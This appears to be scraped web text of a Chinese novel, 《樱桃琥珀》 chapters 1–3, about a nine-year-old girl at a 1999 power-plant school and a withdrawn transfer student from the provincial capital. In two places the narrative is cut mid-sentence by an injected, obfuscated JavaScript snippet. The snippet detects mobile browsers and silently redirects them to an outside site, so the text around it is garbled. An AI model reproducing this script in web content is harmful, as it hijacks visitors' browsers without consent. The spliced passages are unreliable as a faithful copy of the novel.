《樱桃琥珀》 1. 第 1 章 林其乐一生中曾遇过无数看似跨不过去的坎。 每一次她都跨过去了。 九岁那年,发生了一次意外。 “没路了。”余樵个子高高的,鞋底踩在那道悬崖边上,细沙碎石从他脚下滑落,远远地跌入山崖。 回音好久都没停,下面不知有多深。 杜尚瘦瘦的,在旁边背着书包,两条腿直打哆嗦。他伸长了脖子,探头往悬崖下面瞧了一眼。“不行不行不行——”杜尚脸色惨白,后退几步,“这太吓人了,回去回去。” 蔡方元,一个胖墩儿,落在后面老远老远。明明他也和其他人一般年纪,九岁而已,身体却太过沉重,是个用两只细脚勉力支撑的球体。距离山崖还有几十米的时候,蔡方元走不动了,他扶着膝盖气喘吁吁,骂道:“林其乐你带的什么破路啊!” 林其乐——四人中唯一的女生,她站到了悬崖边,穿着小裙子,居高临下,定睛瞧这片幽深的山谷。 她又抬起头,睁着一对樱桃似的大眼,瞪向了几十米开外,悬崖对面那条林中小径。 “我可以跳过去!”她突然大声说。 “你不能。”余樵从旁斜睨了她一眼,立刻说。 “你有病吧!”蔡方元在后面骂道。 林其乐不肯放弃,她今天一定要去对面的养殖场,去看对面村民伯伯养的大白鹅。“我可以飞过去!”她喊。 杜尚在旁边直接翻了个大白眼,伸手过来拉林其乐两截粉胳膊:“回了回了回了!” 林其乐心有不甘,把嘴撅着。太阳还未落山,他们四个小学生走在从山崖回学校的路上。林其乐踩过地上厚厚的松针,听那咯吱咯吱的声响,她对杜尚、余樵一本正经道:“书上写了,如果我们刚才下定了决心,鼓起勇气,跳下去了,就会有翅膀从我们背后长出来,就可以飞了!” 四人中余樵个头儿最高,少年老成,他双手揣在裤兜里,想是已经对林其乐这番鬼话见怪不怪。 杜尚则从旁边皱起了眉头,一皱就牵动他额头上的创可贴。他对林其乐认真说:“肉饼你见过吗,樱桃,就工地食堂赵大妈窗口卖的那种。” 他伸出双手,在自己跟前比划一个圆。 “到时候真飞出去了,你的脸就摔成这么大!就这么扁!胳膊腿也得摔扁了,就像那个大大卷似的——” 蔡方元走在最前头,正从兜里摸大大卷来吃。杜尚给林其乐一指:“你看了吗,就蔡方元那个,你看让他嚼巴的,到时候你摔下去就是那么恶心——” 蔡方元嘴边还垂着一截没吃进去的大大卷,他回头没好气道:“还让不让人吃啊!” 林里本没有路,锲而不舍的孩童多了,自然就走出路来。临近山下,有一道长约五米,高一米多的矮墙堵在路头。这是群山市政府专门在此修建的,好拦截那些不知情的过路人:此路不通,您甭走了,上山危险。 也想挡一挡林其乐、余樵这种胡作非为,喜爱“冒险”的屁孩,虽然多半是徒劳。 林其乐爬上土丘,她手扶着砖头块,从矮墙上爬了过去。 杜尚跟在她后面,嘟囔道:“今天走了这么半天也没见着大白鹅……樱桃,我放学想去你家看张奶奶送你的小白兔——” “不行!”林其乐一口回绝,感觉很有情绪。 “为什么啊?”杜尚不满意道。 “你就会恶心人,”林其乐跳下了墙去,她站直腰,拍拍手心的土,不高兴地说,“你还想恶心我的小白兔……” 余樵蹲在墙头,抬眼一瞧,林其乐已经一个人朝学校的方向风风火火跑去了。四个人里数她蹿得最快,风驰电掣,腾云驾雾一般。 “不是,我……”杜尚站在原地,欲言又止,他望着林其乐的背影,回头对另两人忿忿不平道,“没事恶心兔子干嘛啊我?” 群山市里的纳税大户,群山中能电厂,下午五点半才下班。下设的电厂子弟小学为配合职工家长们的下班时间,往往也把孩子们留到五点半才走。 公元一九九九年九月六日,星期一。 下午五点。 中能电厂小学教导主任站在门卫室里,他翻着手里的学生名册,嘴里骂骂咧咧:“四年级一班,林其乐、余樵、杜尚、蔡方元——”他端起桌上的保温杯,豪饮一口,吐掉嘴里的茶叶沫子,“这小‘四|人帮’,等我今天抓着了他们——” 林其乐等四个小学生,双手双脚趴在水泥地上,从门卫室前偷溜着手脚麻利爬进了校门。 要搁往常,他们四个进来了,第一时间准坐回班里。假如被教导主任点了名,或放学时在校门口被逮住了,也至多回答一句:“我刚才上厕所去了!”教导主任再怎么生气,也抓不着把柄。 今天却不同。 “那什么,你们几个先回去吧。”蔡方元吞吞吐吐的,走在半路上说。 余樵回过头,连同林其乐、杜尚,全都看他。 “我……我有点事儿,”蔡方元尴尬道,他眼神闪烁,小手指戳戳空气,“我先——” 林其乐见他转身就要走,问:“你干什么去?” 几个人将蔡方元团团围住。 “校长室?”杜尚纳闷道,“你又去校长室干嘛?” 蔡方元偷眼瞧林其乐,又瞥自己另外俩哥们儿。“我……”他索性说了,一拍膝盖,“他这不是又把我书拿走了吗!” 林其乐眨了眨眼,不解道:“他怎么老没收你的书,什么书啊?” 杜尚在旁边,不知是悟到什么,表情略尴尬。 余樵无奈问蔡方元:“你自己去校长室?” 四个小学生抬起了头,仰望头顶上方的教学楼二层窗台。 余樵和林其乐对视了一眼。林其乐心领神会,把身子一转,扭头就继续带路。 作为学校广播站的前任播音员,林其乐过去没少进出校长室。对那个地方,她是再熟悉不过了。 几个小孩绕过了教学楼的墙根,走上台阶,悄悄聚在校长室的窗户底下——校长室就在二楼,虽说后墙这条小路垫得也高,但仍然不好往上爬。蔡方元苦着张脸,在其他三人坚决的注目下,抱着头先行蹲到了墙根处。 林其乐接着走过去,她脚穿的小红鞋踩在了蔡方元肩上。 四个人里,属林其乐最轻。可蔡经理家这位公子娇贵的身躯仍是不堪如此的“重负”。 “你就不能轻点儿!”蔡方元惨叫道。林其乐踩在他身上,人站得高了些,脚底自然不平稳。“你……你别乱动啊!”林其乐把手扶在粗砺的墙面上,低头慌张道。 余樵和杜尚这时伸手过来帮忙了。他们俩一人一边儿,熟门熟路地,抬起林其乐的鞋底,把她更往上面推,好让林其乐踩到他们俩人的肩膀上去。 林其乐使劲儿用手在上面够,手指尖生疼,好不容易才把校长室那扇窗户扒得更开了些。 蔡方元算是圆满完成了阶段性任务。他拍拍肩膀上的灰,站起来退到后面,伸手指挥道:“使劲儿扒啊林其乐!” 杜尚从下面撑住了林其乐一只脚,特吃力:“樱桃,你是不是又沉了……” 林其乐也顾不上搭理他们。她双手使劲儿扒住窗户两边,左脚踩在杜尚手上,右腿膝盖屈起来,磕在了校长室那道铁窗框牙子上。 膝盖贴着窗框压下去了,再起来就是三道血印,林其乐却毫不在意。她左脚一蹬,身体向前从校长室的窗户里一个跟斗翻了进去,英姿飒爽,完美落地。 虽然并没有观众为她鼓掌。 距离放学还有半小时。往常这时候,老校长总在国旗杆下摇头晃脑地听单田芳评书,校长室里一向是没有人的。 今天却与以往不同。 “蒋峤西这个学生在省实验附小,可是鼎鼎有名的奥数尖子!拿年级第一的!老校长,他绝不可能来咱们这儿入学考试只考十分啊,肯定是判卷判错了!” “判什么错啊!”只听校长本人在办公室外间无奈道,“他一张卷子就只写了一道题,别的连答都没答!不管他是不会做还是不想做,这在我们这儿只能重新读三年级!” “不,校长……我的老校长诶!”那个人崩溃道,“孩子今天第一天从省城过来,坐车颠了那么久,是吃也不习惯,睡也不习惯,他、他纯属发挥失常啊!” “你这就是难为我。”老校长嘟囔。 “是您难为我们!”那人都快哭了,“人家蒋经理这孩子能从省城转学到咱们这儿来,是对咱们子弟学校水平的信任。孩子九岁了,您让他重读三年级,不可能的!您也要看看人家电建集团的面子,蒋经理现在提的啊,我告诉您,过几年回了总部直接就是二把手了——” 相比外间的争执吵闹,校长室里间就安静多了。林其乐也是这时候才发现,并不是没有观众的。 就在离她不远的地方,沙发旁边,站着一个挺高的男孩。 虽然素未谋面。 林其乐如同忘了眨眼,她出了神了,盯着他看。 不,不是一次,是两次。 林其乐一生中曾遇过无数看起来跨不过去的坎。 九岁那年,她遇到了两道坎。 至少在林其乐长大成人之前,她都没能跨过去。 这个男孩安安静静站在那儿,也不说话。他穿着林其乐从没见过的衣服,背着林其乐从未见过的书包,站在一只行李箱旁边。他不像群山市的人,不像林其乐生活中寻常见的人。那种雪白的肤色,是林其乐爱看的卡通动画里才会出现的。他抬起眼睛,在这种令人不安的寂静气氛里,把林其乐刚刚整个“犯罪过程”尽收眼底。 “林其乐!”身后的窗外,是蔡方元压低了声音在催促她,“你找着书了吗!” 紧接着是杜尚的声音:“你先告诉她到底什么书啊。” “我用挂历包了书皮儿了,”蔡方元朝楼上喊,“正面写了我名字,还有,‘小学生必背古诗词一百首’——” “蔡方元!”外间窗户“哗”得一声拉开了,接着是老校长的大声呵斥,“你们几个人!干什么呢!给我站那儿别动!” “都不许跑!” 林其乐吓得一把揪住了自己裙子,她看着眼前的门从外头被猛地推开了。 三四个大人闯进来,他们围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“搬到哪儿了?”余班长人高马大的,坐在后排,他一个人就能占两个座位,皱个眉头都虎虎生威的,“家属宿舍不早就住满了。” 蔡经理伸手一指余班长身边的林电工。 “林工家隔壁那个锅炉队于队长,上星期不是调莱水工地去了吗,房子正好空出来了。” 余班长听了,点点头,没再问。林电工倒是很意外:“我们那排房子小了点儿吧。他从总部来的,能适应吗?” “总部来的也没办法啊,”蔡经理瞅着窗外,电厂小学眨眼就快到了,他无奈道,“蒋经理身边就带了那么一个儿子,领导房都住满了,只能弄套双职工房给他先当单身宿舍住着了。我问他了,他说行,要是专门找谁家搬走给他腾地方,也不好听啊。” 以林其乐为首的电厂小学四个叛逆分子站成一排,站在老校长办公桌前,一个个低着头挨批评。林其乐睁着大眼,偷偷打量校长桌上那只砚台。 杜尚和余樵、蔡方元仨人在旁边,扭头瞅那个被一群大人围住的转学生,窃窃私语:“哎,你看他穿的那鞋!” 蔡方元用手掩着嘴,压低声音:“美国乔丹!好几千块!” 外面传来规规矩矩的敲门声。 门一开,就是蔡方元他爸,蔡经理的声音,字正腔圆的:“蔡方元!又惹什么麻烦让孙校长生气啦——” 他的声调起初是颇具威严的,忽然急转了个方向,像初秋的柳叶子,打着旋就乘风上去了。 “哎呀,蒋经理!”蔡爸爸声音里全是惊喜,在外间寒暄起来,“太巧了太巧了啊,你来给,给孩子办转学啊?” 林其乐悄悄转过头去,她看到了爸爸出现在门外。 不同于在人群中热情攀谈的蔡经理,林电工脸上带着笑,却一直停留在人群外缘。 “爸爸,”林其乐小声叫他,“爸爸!” 三位家长跟在老校长身后进来了,还有那群陌生的大人。 老校长边走边解释:“这三位,常来!来我这儿就跟串门一样!” 林其乐躲到了爸爸身后,手指抓住爸爸工作服的一角。林电工一开始检查了她受伤的膝盖,又问其他几个孩子怎么了,有没有受伤,特别是杜尚。 “膝盖疼不疼?”爸爸匆匆小声问她。 林其乐立刻摇头,两根马尾在她肩头扫过。 老校长坐下了,端起茶缸子喝了口茶,然后开始今天的训话,主要针对这四个冥顽不灵屡教不改的问题小学生。林爸爸一边跟老同事一起听着,一边从裤袋里摸出一小块红色喜糖,递到了林其乐面前。 林其乐原本低着头,有点怯,这会儿用手心包住那块糖,飞快藏到了身后去。 为免被其他人发现,林其乐朝周围看了看,又向后瞥了一眼。 那个叫蒋峤西的省城来的男孩子,被一群大人围在中间,就站在她的身后。 蒋峤西垂着眼,面色苍白,神情冷漠。仿佛在这里多待一分一秒对他而言都是折磨,他已经快无法忍受了,只是身边人太多,父亲也在,他只能这么坚持着。 林其乐一愣,立即转过了身去。她咬了咬自己的嘴唇,也学着板起脸来。 2. 第 2 章 林其乐蹲在后院,借着房廊下微弱的光,她捡起碗里晒干了的草叶,喂笼子里两只软绵绵的小白兔。 “娟子!”林电工风尘仆仆,加班回来了,“弄一点吃的,蒋经理和余班长来了,蒋经理还没吃饭!” 客厅电视机里正放一部电视剧的片尾曲,放了好几天,林其乐都会唱了。 难得一身好本领,情关始终闯不过。 “樱桃,” 林其乐的妈妈李艾娟匆匆进了厨房,推开通往后院的那扇纱窗门,“家里来人了,快进来帮我洗个花生。” 林其乐放下草碗。她走进厨房,正巧听到爸爸在客厅里说:“来,峤西也快坐下。看这小脸白的,饿坏了吧!” 一个男人的声音,非常低沉,不像余叔叔的声音,也不是爸爸,林其乐想,那大概就是那个“蒋经理”了。 “昨天下了高速,”只听蒋经理说,“正好到饭点,也没什么能吃,我和司机看路边有家面馆,就带这小子进去吃了碗牛肉面。” “没有吃饱吗?”林爸爸问。 “他就吃了半碗,”蒋经理说,“一上车全吐了。” “吐了?”林爸爸惊道。 余叔叔在旁边按动打火机,点完烟,放下了:“下高速那边的面铺子,指不定用的什么肉。小孩胃不舒服吧?” 林爸爸惋惜道:“怪不得啊,入学考试也没考好。” 余叔叔问:“吐车座位上了?” “没有,弄座位上那不麻烦了,”蒋经理无奈道,“吐到,他堂哥从美国给他买的那个小外套上了。我只好先给他脱下来,用一个塑料袋包上。本想着扔了算了,这小子还不愿意。” 林其乐洗好了碗里的花生,把水倒出来。她擦了擦手,从厨房门边探出头,朝客厅悄悄张望。 爸爸和余叔叔坐小马扎,围在茶几边,唯一的大沙发让给一位陌生叔叔坐了,那就是蒋经理。蒋峤西则背着一只方形书包,穿着一身让林其乐不敢讲话的黑色行头,坐在大人们中间。 林其乐再见到他,他的脸色似乎比下午在校长室时更差了,也更苍白。 林电工伸手摸了摸蒋峤西的头,大概是猜出孩子特别喜欢那件外套,但大人不当回事。“脏衣服放哪儿了?”林电工问蒋经理,“拿过来让娟子帮忙洗洗吧,正好我们也要洗衣服——” 蒋经理忙推辞:“不不,那太麻烦了!” 林电工笑说:“别客气,是邻居了。你们到工地上来,条件就是艰苦一点儿。” 蒋峤西坐了半天,书包还背在他肩上。他似乎时刻准备要走,可他父亲并没有走的意思。林其乐把一碟炒花生米和一筐事先蒸好的枣面馒头拿出去了,还拿了八双筷子。 蒋经理坐沙发上,仰起头看她。他虽然年纪比林电工大不少,相貌却英俊,像是老派的电影明星。蒋经理眯了眯眼,对林其乐友善道:“这位是林工家的千金,下午见过,叫……林英?” 余叔叔从林其乐手里接过筷子,在茶几上摆。他提起林其乐,像在讲他自己的闺女:“叫林樱桃!” 林电工从旁边笑:“以前叫林樱桃,读二年级的时候改名字了,现在叫林其乐。” 林其乐在大人面前总是乖乖巧巧,笑得甜甜的,讨人家的喜欢。 可蒋峤西对她的名字并没有兴趣,他半垂着眼,坐在沙发上岿然不动。 蒋经理意外地笑了:“樱桃?怎么取了这么个名字啊?” 临吃饭,又有人登门了,是蔡方元的爸爸蔡经理,专程来赴老弟兄们的夜宵局,还给蒋经理拿来半瓶茅台助兴。 小小的双职工宿舍,总共不到十平方的客厅,一下变得拥挤不堪。林其乐早早吃过了晚饭,便让出地方。她回到后院,在兔笼前头的台阶上怔怔坐着。 林妈妈从厨房忙完了出来,听林电工贴耳说了几句话,她在蒋经理的连声道谢中接过了钥匙,去拿那件据说用黑塑料袋包裹好了的小脏外套。林妈妈说:“嗨,客气什么啊!” 蔡经理在外面叫道:“樱桃啊!” 林其乐站起来,回去客厅。 蔡叔叔喝了点酒,脸已经红了。 “你带着峤西,去屋里看看书,学学习,写写作业,”蔡叔叔指挥道,“新同学,去,认识认识。” 林其乐一愣,大眼睛溜圆。 四个大人坐在一块儿,喝着酒,抽着烟,谈论工地上的工作,又或是周遭的大小人事,蒋峤西一个小男孩背着书包坐在当中,确实突兀。 “峤西吃饱了吗?”林爸爸从旁小声关切。 蒋峤西不说话,但他站了起来。 “跟着樱桃去吧,”蒋经理说,“你不就想学习吗,先在你林叔叔家学会儿吧。” 工地宿舍,条件简陋,地方很有限。哪怕是夫妻俩带着个孩子,也只能住一厅一卧。 林其乐推开了卧室的门,眼前是一张双人大床,是爸爸妈妈睡的。床头有张桌子,爸爸拿来放旧书,妈妈拿来摆毛线和化妆品。 三组大衣柜立在床边,把一条长方形的卧室隔成了两半。里头隔出的那个小里间,放着林其乐自己的小床、书桌,那是小女孩的地方。 林其乐把爸爸妈妈桌上的书报和毛线推到一边,拧开了桌上的台灯。 “你坐在这里吧!”林其乐回过头,两只手背到身后,有些紧张道。 蒋峤西走到她身边,他比她高,仍不作声。他把背上书包解下来了,放在桌上。 卧室门关紧了,不会再听到外面大人的吵吵闹闹。里面非常静,静得人大气不敢出一声。林其乐走回到自己书桌前,她背对蒋峤西悄悄坐下了。 抬起头,墙上贴的是H.O.T和小燕子紫薇的画报,低下头,书桌玻璃下压的是夜礼服假面和毛利兰的画片。 林其乐早把今天的作业写完了,她从漫画书堆里抽出上星期的《中国少年报》,展开了,竖起来,做出一个认真读报的样子。 她悄悄转过肩膀,回头去看。 蒋峤西坐在林电工的书桌前,坐得笔直,他把书包放在桌面上打开了。林其乐本来就觉得奇怪——新转学生的头发是黑色,衣服、裤子是黑色,球鞋是黑色的,背的书包是黑色。 这会儿就连从书包里拿出来的铅笔盒,林其乐定睛去看,竟然也是黑色的。 蒋峤西从书包里拿出书本,不像是林其乐他们用的统一课本,是从省城带来的奥数教材。 “你……”林其乐突然出声了,连她自己都没意识到,她的声音有点发颤,“你吃糖吗?” 林爸爸带回来的喜糖一小袋,就在林其乐桌头放着,林其乐还没有吃几块。 蒋峤西后脑勺冲着林其乐,一声不吭把书翻开了。 “你听磁带吗?” 林其乐又问。 一排几十盘流行歌曲磁带就在林爸爸床头整齐排列着。林爸爸酷爱唱歌,林其乐也喜爱。她最喜欢跟着爸爸唱的歌曲第一名是,啊哈,给我一杯忘情水。 第二名是,冬布瑞麦哈。 见蒋峤西仍无动于衷,林其乐干脆放下了没看几个字的少年报,她站起来:“你看《米老鼠》吗?” 一摞近半米高的《米老鼠》杂志就在林其乐书桌边放着,这也许是林其乐所有宝贝里最贵重的了。 每个同学来到林其乐家,就没有不想看《米老鼠》的。 可蒋峤西仍头也不回,他打开笔盒,拿了支笔,开始算他的奥数题目。 林其乐在没人注意的角落里撅了撅嘴。 她不知道蒋峤西喜欢什么,也从没见过有什么同龄人是这么不好沟通的。蒋峤西看上去谢绝这个小城镇里的一切。 是啊,林其乐以前听陈明昊哥哥说过:群山工地又破旧,又落后,只要是去过省城总部的人,就不会喜欢这里的。 可林其乐没有去过省城,她不知道省城来的小孩喜欢什么。 “你想看小白兔吗?”林其乐问。 蒋峤西手里握着一支自动笔,他写着写着题目,笔尖突然停了。 他看着实在不像一个真实的人,从脖颈到脸颊的颜色就像雪,像春天时候,山上盛开的一簇簇梨花。他那双眼睛被映衬得极黑。蒋峤西回头,他看向了林其乐,林其乐登时抿住了嘴。 “你们俩跑这儿来干什么?”林妈妈正洗着衣服,眼见林其乐兴奋地跑过来,给蒋经理那个儿子带路,她推开纱窗门,跑进了后院里。 蒋峤西似乎没料到这小小平房后面还有个院子。他的目光缓慢游移,从院子里废旧的轮胎,漏气的足球,小小的菜畦,最后停在林其乐抱到他跟前的小兔子上。 “给你!”林其乐把她心爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236581|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小白兔放到了蒋峤西怀里,然后一脸期待地看着。 小白兔嘴里叼的草叶就蹭在蒋峤西穿的黑色外套上。 兔子是热乎乎,软绵绵的,是毛茸茸的,好似一团棉絮,又像神仙从天上扯下来的一块云朵。蒋峤西僵硬的手抱着它,看着它三瓣嘴一动一动,两条长耳朵温顺地耷下来,就搭在蒋峤西的手背上,温暖地蹭着他。 蒋政蒋经理接到妻子从省城打来的电话,因为他刚搬家,这电话是辗转打到林电工家座机上的。蒋经理手里抱着电话机,电话线在后头拖着,他走到厨房门口,看见后院里,蒋峤西就坐在台阶上,正和林工家的闺女玩一只家兔。 蒋经理眉头皱了皱。 “我不是说了没事儿了。”他手握听筒,对电话里说,语气颇不耐烦。 也许是在人家家里,他也不好发作。可妻子梁虹飞却不放过他。 “明知道你儿子肠胃不好,刚到群山那破地方,你带他去吃路边的苍蝇馆子?” “你行了,”蒋经理小声道,听筒贴在耳边,“啰嗦什么。” 他直接把那听筒扣回去了。 夜里九点多,蒋经理要告辞了,把他的儿子蒋峤西也带走了。 林妈妈把洗好的小外套挂到衣架上,滴答着水,交到蒋峤西手里拿着:“回去晾上,明天就干了。” 蒋经理带着酒气:“快谢谢阿姨。” 蒋峤西背着他的黑色方形书包,抬起眼望林妈妈,小声说:“谢谢阿姨。” “哎,真乖,”李艾娟高兴道,“这孩子长得真好。” 林其乐站在爸爸妈妈身后,也去看蒋峤西。不知是不是林其乐的错觉,她总觉得蒋峤西临走时那眼神从她脸上扫过去了。 只是没有停留。所以林其乐也不知道,蒋峤西有没有和她说再见的意思。 他们算是朋友了吗? 洗漱完毕,林其乐该去睡觉了。余叔叔、蔡叔叔还和爸爸在客厅就着花生米说话。 卧室关了灯,林其乐趴在小床上。四面漆黑,在画报人物的注视下,她睁着的眼睛格外雪亮。 蒋峤西坐在后院台阶上,手捏了一撮草叶,小兔子凑在他手边,一点点把草叶咬进嘴里。林其乐聚精会神,盯着小兔子吃草。林其乐想,省城来的小孩子也是喜欢小兔子的。 “你叫林其乐。”蒋峤西突然说。 林其乐一愣,抬起头。 蒋峤西也正看她。 房檐下的灯光,隐隐约约照亮了蒋峤西的半边面孔,叫人看不清他的神情。林其乐听见他问:“你是你们家唯一的孩子吗。” 林其乐这会儿趴在小床上,手捏住自己脖子上挂的琥珀,眼望向了窗外。 他问这句话是什么意思? 凌晨十二点,林其乐披着头发,揉着眼睛从卧室出来了。她想找水喝,却意外发现大人们的聚会还没散,还在客厅里谈话呢。 “蒋经理原先那个儿子,我还见过,”蔡叔叔醉意未退,手指点着茶几桌面,声音放得很轻很轻,“叫蒋梦初,13岁进的中科大少年班,在省城总部人见人夸,神童啊!” “那个时候都说蒋政要跳槽去安徽国电了,去陪读。两口子用了那么多的心血去培养这个孩子,谁曾想去个夏令营,孩子就没了,死在山沟里了。” “你说这谁能受得了,一个家,天就塌了啊。”蔡叔叔说。 林爸爸扼腕:“确实太可惜了。” 余叔叔拿过茶杯喝了一口,在烟灰缸里敲散了烟灰,沉思片刻:“怪不得我前些年听老队长说,蒋政在总部成天阴沉个脸,见了谁也不说话,工作也不汇报,胡子都不刮。” “现在还是那样,”蔡叔叔说,“不然也不会调到群山项目部来。” “既然又有一个孩子了,也应该想开一点了,”林爸爸说,“刚才他小孩过来,看着多好啊,长得也好,据说在省城学习成绩也很优秀。” “甭提了,”蔡叔叔说,“当初头个孩子没有了,他们夫妻俩闹离婚。一把手说,再生一个吧,计划生育允许。” “当时想着,兴许有个孩子了,这个家庭有点希望了,能缓和缓和夫妻之间的感情。” “现在你看,这孩子都九岁了,这么争气,结果夫妻俩谁都不管……”蔡叔叔摇了摇头,“早知如此……” 3. 第 3 章 林其乐一大清早坐在镜子前,塞着随身听的耳机听歌,耳边却不断浮现昨夜大人们说的话。 “现在你看,这孩子都九岁了,这么争气,结果夫妻俩谁都不管……” 妈妈找皮筋儿来给林其乐扎头发,她问丈夫:“一大早的外头什么动静?” 林电工把工牌套到脖子上,说:“蒋经理的司机,来接他孩子上学。” “还用开车啊?这么近,让孩子自己走就是了。” “不是刚转学过来吗,”林爸爸说,他抬起头,看向镜子里,“樱桃。” “啊?”林其乐摘掉了耳机。 “今天你蒋叔叔的孩子第一天去学校上课,他要是有什么不适应的,你在学校要照顾照顾人家,知道吗?” “知道——”林其乐拖着长音讲。 她关掉随身听,把里面《公转自转》的磁带拿出来塞进书包里。 妈妈透过了镜子,拿揶揄的眼神瞅林其乐,笑爸爸多此一举:“还用得着你提醒?” 余樵一大清早和他的三个小伙伴一起,送他的远房表弟余锦上幼儿园。 不同于余振峰、余樵父子俩这么人高马大,余锦个子小小的,身子骨软绵绵,头发又稀又黄,说话也像含着一块年糕,糯糯的吐字不清。林其乐站在幼儿园门口,好几次心里纳闷,这小孩儿怎么会姓余的。 “我爸让我叫蒋峤西一块儿上学,”余樵叼着嘴里的牛奶,边走边说,“结果我去他家一看,他居然坐车上学。” 杜尚问林其乐:“你真给他看你的兔子了?” “对啊。”林其乐咬着吸管喝盒装牛奶。 杜尚受伤地皱起一张脸来,连额头的创可贴都要翘起来了:“我和余樵、蔡方元我们几个都还没看过呢!” 余樵把喝空的牛奶袋子一扔,双手揣裤兜里:“别拉着我啊。” 蔡方元喝着保温杯里的高乐高,说:“也别带着我,兔子有什么好看的。” 杜尚自个儿生闷气。 早读时间,班主任领着一个转校生走进了四年一班的教室。 林其乐原本正和后排女生,叫秦野云的,两个人疯狂掐架。林其乐的双马尾被秦野云一手揪住一条往后使劲儿拽。见到那个转学生进来,她们俩全僵住了。 那转校生长得帅气,个头儿也高,穿得也和群山市这里的普通孩子不太一样。 班里出奇的安静。班主任笑容满面:“新来的同学是从省城实验附小转过来的,非常优秀啊。来,你先自我介绍一下。” 新同学站在讲台上,拿粉笔一声不吭在黑板上写下自己的姓名,笔画儿特多,不大好写。在众人注视下,他放下粉笔:“我叫蒋峤西。” 林其乐匆匆捋好自己两根辫子,她双手摆在身前课桌上,端坐得像个好学生。秦野云坐她后排,眉飞色舞和周围电厂的孩子们炫耀:“这是我们群山项目部的子弟!” “秦野云,你认识啊?” “当然了,”秦野云低头瞧自己偷偷涂了指甲油的手指,说,“昨天他爸的司机还来我家小卖部买烟呢。” 林其乐坐前面,听了这话,忍不住翻了个白眼。杜尚坐她身边,是她同桌,也翻了个白眼。 “蒋峤西……”杜尚忿忿不平,单手撑着脸,“凭什么他的名字就这么特别?” § 这天上午,中能电厂子弟小学楼上楼下的人都在讨论蒋峤西。每个人都听说了,四年一班转过来一个转学生,据说是省里的奥数尖子,可他入学测验只考了十分。 全校的女生们一次两次三次从四年级一班门前踮着脚经过。上着数学课,林其乐时不时的也忍不住回头。 蒋峤西被老师安排坐在了窗边,和体育委员余樵坐同桌。 “林其乐,”数学老师在讲台上说,“老回头看什么看!看黑板看黑板!” 林其乐在一阵笑声中缩起了脖子。 蒋峤西坐在后面翻着奥数书,他也抬头看了一眼黑板,似乎没注意到附近的笑声和望过来的目光。 数学课结束,林其乐几乎是一瞬间就蹿到了余樵身边,及时占据了有利地形。 杜尚很没好气,但也跟着过来了。 蔡方元就坐在蒋峤西前面一排,他回过头,一下课就摸大大卷来吃,还问蒋峤西吃不吃。 “我叫余樵,”余樵倚在了椅背上,翻开自己的数学书封面给蒋峤西看,“我爸喜欢看金庸小说,‘渔樵耕读’那个‘渔樵’。” 蔡方元说,他叫蔡方元。他用手指比了个铜钱的形状,对蒋峤西说,方圆,就是钱。 杜尚抢先在林其乐开口前说:“我、我叫杜尚!” 他顿了顿:“我妈有个喜欢的画家叫这名儿,就、就给我取了……”杜尚嘟囔着,“不怎么好,和捡来的一样。” 林其乐一字一顿告诉蒋峤西:“我叫林其乐,‘其乐融融’的其乐,你昨天应该已经——” 余樵从旁边打断了她,对蒋峤西说:“她原先叫林樱桃,你知道为什么吗?” 蒋峤西一下课就听了这么多自我介绍,他还没说过一句话。“为什么。”他说。 也不知他是真的关心林其乐的名字,还是只是顺着话随便说。 “因为娟子阿姨怀她的时候贫血,找林叔叔弄了一大碗樱桃吃,”余樵轻声说,“娟子阿姨觉得特好吃,樱桃又贵,就给她取名叫林樱桃。” 蔡方元在前头补充道:“得亏阿姨那时候怀孕没爱吃点儿别的,不然给她取名叫林苦瓜、林芹菜、林大蒜——” 他话还没说完,林其乐扑将上去,蔡方元赶忙拿起桌上的数学书挡驾:“哎!疯了疯了!” 杜尚趁机告诉蒋峤西:“林其乐就是个泼妇,你平时最好离她远点!” 余樵这时问蒋峤西:“你这个名字是什么意思?” 林其乐还在前面和蔡方元扯着彼此脖子里的红领巾,两个人一起窒息。蒋峤西看了他们俩一眼,他发现林其乐脸都憋红了,圆圆的脸,真像樱桃。蒋峤西告诉余樵和杜尚:“没有什么意思。” 余樵一愣。 旁边杜尚好奇地坐下了:“哇,你名字这么酷!居然没什么意思啊?” § 蒋经理傍晚下班,回绝了项目部各式各样的饭局邀请。他家里的情况如今全国工地上下就没有不知道的,不去应酬,别人也不会说他什么。 只是他还吃不惯群山工地食堂的菜,一个大老爷们儿,又不怎么会做饭,只好带着儿子去隔壁林电工家凑合凑合,对付对付。 林其乐在饭桌旁仰起头问:“蒋叔叔,‘峤西’是什么意思啊?” 蒋经理从林电工手中接过了一碗咸粥,颇慈祥地望向了林其乐。 “‘峤西’是什么意思,我还真不知道,”蒋经理摇了摇头,看了林电工一眼,“什么意思啊?” 林电工给老婆也盛了一碗粥,他笑道:“自己取的名字自己都忘了?” 蒋经理解释道:“那个时候他突然出生,我和梁虹飞都没怎么准备。” 林其乐余光留意到蒋峤西吃着饭,长长的睫毛一直是落下去的。 “出生证要登记名字的时候,我也实在想不出来了,”蒋经理笑了笑,“就正好看见那天报纸上登了一句诗,叫什么,‘万户千门蒋峤西’。” 饭吃完,蒋峤西背起书包,拿了钥匙就要回家。林其乐匆匆忙忙跑去厨房,问正在洗碗的妈妈预支十块钱零花。她飞快跑出门。 “蒋峤西!”她叫道。 工地宿舍是长长的,一排一排砖砌的平房。一排能住十户人家,户门与户门之间只隔四五米的距离。 蒋峤西已经走上了自家门前的台阶,正拿钥匙开门。 林其乐穿着小红鞋走过去了,她搓了搓自己的手,仰头问:“你想喝可口可乐吗?” 